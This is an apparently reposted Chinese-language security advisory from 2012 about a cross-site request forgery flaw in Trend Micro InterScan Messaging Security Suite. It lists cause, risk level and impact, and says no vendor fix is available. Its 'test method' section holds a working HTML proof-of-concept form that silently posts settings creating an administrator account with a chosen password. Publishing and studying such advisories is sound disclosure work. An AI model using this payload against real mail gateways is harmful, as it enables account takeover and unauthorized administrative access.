Trend Micro InterScan Messaging Security Suite跨站请求伪造漏洞

日期: 2012/09/17 | 标签: | 游览：302

漏洞起因
输入验证错误
危险等级
中

影响系统
Trend Micro InterScan Messaging Security Suite

不受影响系统

危害
远程攻击者可以利用漏洞可以目标用户上下文执行恶意操作。

攻击所需条件
攻击者必须构建恶意URI，诱使用户解析。

漏洞信息
Trend Micro InterScan Messaging Security Suite为企业IT网络资源提供一套高性能、基于策略的网关安全过滤解决方案，架设于企业的SMTP对外网关上。
Trend Micro InterScan Messaging Security Suite存在跨站请求伪造漏洞，允许攻击者构建恶意URI，诱使用户解析，可以目标用户上下文执行恶意操作。

测试方法
<html>
<body>
<form action=”hxxps://127.0.0.1:8445/saveAccountSubTab.imss” method=”POST”>
<input type=”hidden” name=”enabled” value=”on” />
<input type=”hidden” name=”authMethod” value=”1″ />
<input type=”hidden” name=”name” value=”quorra” />
<input type=”hidden” name=”password” value=”quorra&#46;123″ />
<input type=”hidden” name=”confirmPwd” value=”quorra&#46;123″ />
<input type=”hidden” name=”tabAction” value=”saveAuth” />
<input type=”hidden” name=”gotoTab” value=”saveAll” />
<input type=”submit” value=”CSRF” />
</form>
</body>
</html>

厂商解决方案
目前没有详细解决方案提供：
http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html

漏洞提供者
Tom Gregory

评论关闭。